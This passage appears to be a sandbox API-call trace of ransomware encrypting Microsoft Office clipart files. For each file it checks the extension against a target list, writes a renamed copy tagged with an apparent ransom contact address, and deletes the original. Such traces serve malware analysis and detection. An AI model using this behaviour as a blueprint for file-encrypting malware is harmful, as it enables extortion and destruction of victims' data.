[0273.527] lstrlenW (lpString=".pdf") returned 4 [0273.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.527] lstrlenW (lpString=".xls") returned 4 [0273.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.527] lstrlenW (lpString=".xlsx") returned 5 [0273.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.527] lstrlenW (lpString=".ppt") returned 4 [0273.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.527] lstrlenW (lpString=".zip") returned 4 [0273.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.527] lstrlenW (lpString=".rar") returned 4 [0273.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.527] lstrlenW (lpString=".bz2") returned 4 [0273.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.527] lstrlenW (lpString=".7z") returned 3 [0273.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.527] lstrlenW (lpString=".dbf") returned 4 [0273.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.527] lstrlenW (lpString=".1cd") returned 4 [0273.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.527] lstrlenW (lpString=".jpg") returned 4 [0273.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.527] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.528] lstrlenW (lpString="FD01193_.WMF") returned 12 [0273.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.530] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1160) returned 1 [0273.530] CloseHandle (hObject=0x394) returned 1 [0273.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0273.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.533] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.533] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.534] GetLastError () returned 0x0 [0273.534] ReadFile (in: hFile=0x394, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x488, lpOverlapped=0x0) returned 1 [0273.535] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x490, lpOverlapped=0x0) returned 1 [0273.536] ReadFile (in: hFile=0x394, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.536] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.536] SetEndOfFile (hFile=0x384) returned 1 [0273.536] CloseHandle (hObject=0x384) returned 1 [0273.536] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.536] SetEndOfFile (hFile=0x394) returned 1 [0273.539] CloseHandle (hObject=0x394) returned 1 [0273.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0273.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.539] lstrlenW (lpString=".doc") returned 4 [0273.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.540] lstrlenW (lpString=".docx") returned 5 [0273.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.540] lstrlenW (lpString=".pdf") returned 4 [0273.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.540] lstrlenW (lpString=".xls") returned 4 [0273.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.540] lstrlenW (lpString=".xlsx") returned 5 [0273.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.540] lstrlenW (lpString=".ppt") returned 4 [0273.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.540] lstrlenW (lpString=".zip") returned 4 [0273.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.540] lstrlenW (lpString=".rar") returned 4 [0273.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.540] lstrlenW (lpString=".bz2") returned 4 [0273.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.540] lstrlenW (lpString=".7z") returned 3 [0273.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.540] lstrlenW (lpString=".dbf") returned 4 [0273.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.540] lstrlenW (lpString=".1cd") returned 4 [0273.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.541] lstrlenW (lpString=".jpg") returned 4 [0273.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.541] lstrlenW (lpString=".doc") returned 4 [0273.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString=".docx") returned 5 [0273.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.541] lstrlenW (lpString=".pdf") returned 4 [0273.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString=".xls") returned 4 [0273.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.541] lstrlenW (lpString=".xlsx") returned 5 [0273.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.541] lstrlenW (lpString=".ppt") returned 4 [0273.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.541] lstrlenW (lpString=".zip") returned 4 [0273.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.541] lstrlenW (lpString=".rar") returned 4 [0273.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString=".bz2") returned 4 [0273.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.541] lstrlenW (lpString=".7z") returned 3 [0273.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.541] lstrlenW (lpString=".dbf") returned 4 [0273.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.542] lstrlenW (lpString=".1cd") returned 4 [0273.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0273.542] lstrlenW (lpString=".jpg") returned 4 [0273.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.542] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.542] lstrlenW (lpString="FD01196_.WMF") returned 12 [0273.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.543] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2332) returned 1 [0273.543] CloseHandle (hObject=0x394) returned 1 [0273.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0273.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.543] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.543] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.543] GetLastError () returned 0x0 [0273.543] ReadFile (in: hFile=0x394, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x91c, lpOverlapped=0x0) returned 1 [0273.548] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x920, lpOverlapped=0x0) returned 1 [0273.549] ReadFile (in: hFile=0x394, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.549] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.549] SetEndOfFile (hFile=0x384) returned 1 [0273.549] CloseHandle (hObject=0x384) returned 1 [0273.549] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.549] SetEndOfFile (hFile=0x394) returned 1 [0273.551] CloseHandle (hObject=0x394) returned 1 [0273.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.552] lstrlenW (lpString=".doc") returned 4 [0273.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".docx") returned 5 [0273.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.552] lstrlenW (lpString=".pdf") returned 4 [0273.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".xls") returned 4 [0273.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.552] lstrlenW (lpString=".xlsx") returned 5 [0273.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.552] lstrlenW (lpString=".ppt") returned 4 [0273.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.552] lstrlenW (lpString=".zip") returned 4 [0273.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.552] lstrlenW (lpString=".rar") returned 4 [0273.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".bz2") returned 4 [0273.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString=".7z") returned 3 [0273.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.553] lstrlenW (lpString=".dbf") returned 4 [0273.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.553] lstrlenW (lpString=".1cd") returned 4 [0273.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.553] lstrlenW (lpString=".jpg") returned 4 [0273.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.553] lstrlenW (lpString=".doc") returned 4 [0273.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString=".docx") returned 5 [0273.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.553] lstrlenW (lpString=".pdf") returned 4 [0273.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString=".xls") returned 4 [0273.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.553] lstrlenW (lpString=".xlsx") returned 5 [0273.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.553] lstrlenW (lpString=".ppt") returned 4 [0273.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.553] lstrlenW (lpString=".zip") returned 4 [0273.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.553] lstrlenW (lpString=".rar") returned 4 [0273.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.553] lstrlenW (lpString=".bz2") returned 4 [0273.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.554] lstrlenW (lpString=".7z") returned 3 [0273.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.554] lstrlenW (lpString=".dbf") returned 4 [0273.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.554] lstrlenW (lpString=".1cd") returned 4 [0273.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0273.554] lstrlenW (lpString=".jpg") returned 4 [0273.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.554] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.554] lstrlenW (lpString="FD01548_.WMF") returned 12 [0273.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.554] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=10316) returned 1 [0273.554] CloseHandle (hObject=0x394) returned 1 [0273.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0273.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.555] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.555] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.555] GetLastError () returned 0x0 [0273.555] ReadFile (in: hFile=0x394, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x284c, lpOverlapped=0x0) returned 1 [0273.557] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x2850, lpOverlapped=0x0) returned 1 [0273.558] ReadFile (in: hFile=0x394, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.558] WriteFile (in: hFile=0x384, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.558] SetEndOfFile (hFile=0x384) returned 1 [0273.558] CloseHandle (hObject=0x384) returned 1 [0273.558] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.558] SetEndOfFile (hFile=0x394) returned 1 [0273.560] CloseHandle (hObject=0x394) returned 1 [0273.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0273.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.561] lstrlenW (lpString=".doc") returned 4 [0273.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.561] lstrlenW (lpString=".docx") returned 5 [0273.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.561] lstrlenW (lpString=".pdf") returned 4 [0273.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.561] lstrlenW (lpString=".xls") returned 4 [0273.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.561] lstrlenW (lpString=".xlsx") returned 5 [0273.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.561] lstrlenW (lpString=".ppt") returned 4 [0273.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.561] lstrlenW (lpString=".zip") returned 4 [0273.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.561] lstrlenW (lpString=".rar") returned 4 [0273.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.561] lstrlenW (lpString=".bz2") returned 4 [0273.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.561] lstrlenW (lpString=".7z") returned 3 [0273.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.561] lstrlenW (lpString=".dbf") returned 4 [0273.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.562] lstrlenW (lpString=".1cd") returned 4 [0273.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.562] lstrlenW (lpString=".jpg") returned 4 [0273.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.562] lstrlenW (lpString=".doc") returned 4 [0273.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.562] lstrlenW (lpString=".docx") returned 5 [0273.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.562] lstrlenW (lpString=".pdf") returned 4 [0273.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.562] lstrlenW (lpString=".xls") returned 4 [0273.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.563] lstrlenW (lpString=".xlsx") returned 5 [0273.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.563] lstrlenW (lpString=".ppt") returned 4 [0273.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.563] lstrlenW (lpString=".zip") returned 4 [0273.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.563] lstrlenW (lpString=".rar") returned 4 [0273.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned 